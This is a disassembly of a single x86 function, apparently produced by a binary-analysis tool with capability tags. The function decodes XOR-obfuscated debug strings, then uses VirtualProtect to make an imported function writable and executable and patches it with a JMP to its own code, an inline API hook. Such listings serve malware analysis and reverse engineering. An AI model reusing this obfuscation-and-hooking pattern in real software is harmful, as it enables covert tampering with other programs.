Function at 0x10039140
Capabilities:
Allocate or change rwx memory
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x100b5540]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x100c79dd], 0
jne 0x10039418
mov byte [0x100c79dd], 1
mov dword [ebp - 0x40], 0x7d
mov eax, dword [ebp - 0x40]
xor al, 0x64
mov byte [ebp - 0x3c], al
mov eax, dword [ebp - 0x40]
inc al
xor al, 0x65
mov byte [ebp - 0x3b], al
mov eax, dword [ebp - 0x40]
add al, 2
xor al, 0x62
mov byte [ebp - 0x3a], al
mov eax, dword [ebp - 0x40]
add al, 3
xor al, 0x75
mov byte [ebp - 0x39], al
mov eax, dword [ebp - 0x40]
add al, 4
xor al, 0x67
mov byte [ebp - 0x38], al
mov eax, dword [ebp - 0x40]
add al, 5
xor al, 0x3a
mov byte [ebp - 0x37], al
mov eax, dword [ebp - 0x40]
add al, 6
xor al, 0x3a
mov byte [ebp - 0x36], al
mov eax, dword [ebp - 0x40]
add al, 7
xor al, 0x73
mov byte [ebp - 0x35], al
mov eax, dword [ebp - 0x40]
add al, 8
xor al, 0x61
mov byte [ebp - 0x34], al
mov eax, dword [ebp - 0x40]
add al, 9
xor al, 0x61
mov byte [ebp - 0x33], al
mov eax, dword [ebp - 0x40]
add al, 0xa
xor al, 0x32
mov byte [ebp - 0x32], al
mov eax, dword [ebp - 0x40]
add al, 0xb
xor al, 0x3a
mov byte [ebp - 0x31], al
mov eax, dword [ebp - 0x40]
add al, 0xc
xor al, 0x3a
mov byte [ebp - 0x30], al
mov eax, dword [ebp - 0x40]
add al, 0xd
xor al, 0x69
mov byte [ebp - 0x2f], al
mov eax, dword [ebp - 0x40]
add al, 0xe
xor al, 0x6e
mov byte [ebp - 0x2e], al
mov eax, dword [ebp - 0x40]
add al, 0xf
xor al, 0x69
mov byte [ebp - 0x2d], al
mov eax, dword [ebp - 0x40]
add al, 0x10
mov byte [ebp - 0x2b], 0
xor al, 0x74
mov byte [ebp - 0x2c], al
mov al, byte [ebp - 0x3c]
xor eax, eax
nop dword [eax]
mov cl, byte [ebp + eax - 0x3c]
mov edx, dword [ebp - 0x40]
add dl, al
xor dl, cl
mov byte [ebp + eax - 0x3c], dl
inc eax
cmp eax, 0x11
jb 0x10039220
lea eax, [ebp - 0x3c]
mov byte [ebp - 0x2b], 0
push esi
push eax
call fcn.10042160
add esp, 4
push 0x100c78d8
push 0x105
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0x1008dc10
push 0x1008b9ec
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp byte [0x100c79de], 0
mov esi, eax
mov dword [0x100c79e0], esi
jne 0x100392c1
lea eax, [ebp - 0x44]
mov byte [0x100c79de], 1
push eax
push 0x40
push 5
push esi
mov byte [0x100c79df], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [esi]
mov ecx, dword [esi + 4]
mov dword [0x100c79e8], eax
mov eax, 0x100386e0
sub eax, esi
mov byte [esi], 0xe9
sub eax, 5
mov dword [0x100c79ec], ecx
mov dword [esi + 1], eax
mov esi, dword [0x100c79e0]
mov dword [ebp - 0x28], 0x6f
mov eax, dword [ebp - 0x28]
xor al, 0x64
mov byte [ebp - 0x24], al
mov eax, dword [ebp - 0x28]
inc al
xor al, 0x65
mov byte [ebp - 0x23], al
mov eax, dword [ebp - 0x28]
add al, 2
xor al, 0x62
mov byte [ebp - 0x22], al
mov eax, dword [ebp - 0x28]
add al, 3
xor al, 0x75
mov byte [ebp - 0x21], al
mov eax, dword [ebp - 0x28]
add al, 4
xor al, 0x67
mov byte [ebp - 0x20], al
mov eax, dword [ebp - 0x28]
add al, 5
xor al, 0x3a
mov byte [ebp - 0x1f], al
mov eax, dword [ebp - 0x28]
add al, 6
xor al, 0x3a
mov byte [ebp - 0x1e], al
mov eax, dword [ebp - 0x28]
add al, 7
xor al, 0x73
mov byte [ebp - 0x1d], al
mov eax, dword [ebp - 0x28]
add al, 8
xor al, 0x61
mov byte [ebp - 0x1c], al
mov eax, dword [ebp - 0x28]
add al, 9
xor al, 0x61
mov byte [ebp - 0x1b], al
mov eax, dword [ebp - 0x28]
add al, 0xa
xor al, 0x32
mov byte [ebp - 0x1a], al
mov eax, dword [ebp - 0x28]
add al, 0xb
xor al, 0x3a
mov byte [ebp - 0x19], al
mov eax, dword [ebp - 0x28]
add al, 0xc
xor al, 0x3a
mov byte [ebp - 0x18], al
mov eax, dword [ebp - 0x28]
add al, 0xd
xor al, 0x69
mov byte [ebp - 0x17], al
mov eax, dword [ebp - 0x28]
add al, 0xe
xor al, 0x6e
mov byte [ebp - 0x16], al
mov eax, dword [ebp - 0x28]
add al, 0xf
xor al, 0x69
mov byte [ebp - 0x15], al
mov eax, dword [ebp - 0x28]
add al, 0x10
xor al, 0x74
mov byte [ebp - 0x14], al
mov eax, dword [ebp - 0x28]
add al, 0x11
xor al, 0x3a
mov byte [ebp - 0x13], al
mov eax, dword [ebp - 0x28]
add al, 0x12
xor al, 0x3a
mov byte [ebp - 0x12], al
mov eax, dword [ebp - 0x28]
add al, 0x13
xor al, 0x66
mov byte [ebp - 0x11], al
mov eax, dword [ebp - 0x28]
add al, 0x14
xor al, 0x69
mov byte [ebp - 0x10], al
mov eax, dword [ebp - 0x28]
add al, 0x15
xor al, 0x6e
mov byte [ebp - 0xf], al
mov eax, dword [ebp - 0x28]
add al, 0x16
xor al, 0x69
mov byte [ebp - 0xe], al
mov eax, dword [ebp - 0x28]
add al, 0x17
xor al, 0x73
mov byte [ebp - 0xd], al
mov eax, dword [ebp - 0x28]
add al, 0x18
xor al, 0x68
mov byte [ebp - 0xc], al
mov eax, dword [ebp - 0x28]
add al, 0x19
xor al, 0x3a
mov byte [ebp - 0xb], al
mov eax, dword [ebp - 0x28]
add al, 0x1a
xor al, 0x3a
mov byte [ebp - 0xa], al
mov eax, dword [ebp - 0x28]
add al, 0x1b
xor al, 0x25
mov byte [ebp - 9], al
mov eax, dword [ebp - 0x28]
add al, 0x1c
mov byte [ebp - 7], 0
xor al, 0x78
xor edx, edx
mov byte [ebp - 8], al
mov al, byte [ebp - 0x24]
mov al, byte [ebp + edx - 0x24]
mov ecx, dword [ebp - 0x28]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x24], cl
inc edx
cmp edx, 0x1d
jb 0x100393f1
lea eax, [ebp - 0x24]
mov byte [ebp - 7], 0
push esi
push eax
call fcn.10042160
add esp, 8
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005f68b
mov esp, ebp
pop ebp
ret